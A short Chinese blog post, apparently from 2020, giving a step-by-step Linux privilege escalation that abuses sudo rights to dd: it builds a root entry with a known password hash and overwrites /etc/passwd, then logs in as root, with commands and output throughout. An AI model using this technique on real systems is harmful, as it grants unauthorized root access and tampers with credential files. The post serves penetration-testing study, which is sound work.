SUDO -dd 提权法

当用户可以通过sudo执行dd命令时,可以被用来提权。通过dd命令覆盖原始/etc/passwd文件,以达到修改密码的目的

1、创建一个已知密码的hash,以备替换时使用

hh@hh:/etc$ openssl passwd -1 -salt 123 password
$1$123$0HaaUtbhct/mZ/Q/KRa5a.

2、备份原始passwd文件,以防修改错误时无法访问

# cp /etc/passwd /tmp/passwd

3、利用第一步里生成的hash构建新的passwd hash条目

hh@hh:/tmp# cat passwd
root:$1$123$0HaaUtbhct/mZ/Q/KRa5a.:0:0:root:/root:/bin/bash

4、使用dd覆盖原始passwd文件

hh@hh:/tmp$ cat passwd |sudo dd of=/etc/passwd
3+1 records in
3+1 records out
1757 bytes (1.8 kB, 1.7 KiB) copied, 0.000397129 s, 4.4 MB/s

5、使用刚才创建hash时使用的密码进行登录

hh@hh:/tmp$ su root
Password: 
root@hh:/tmp# 

提权成功!

posted @ 2020-04-21 17:34  隐念笎  阅读(1146)  评论(0编辑  收藏  举报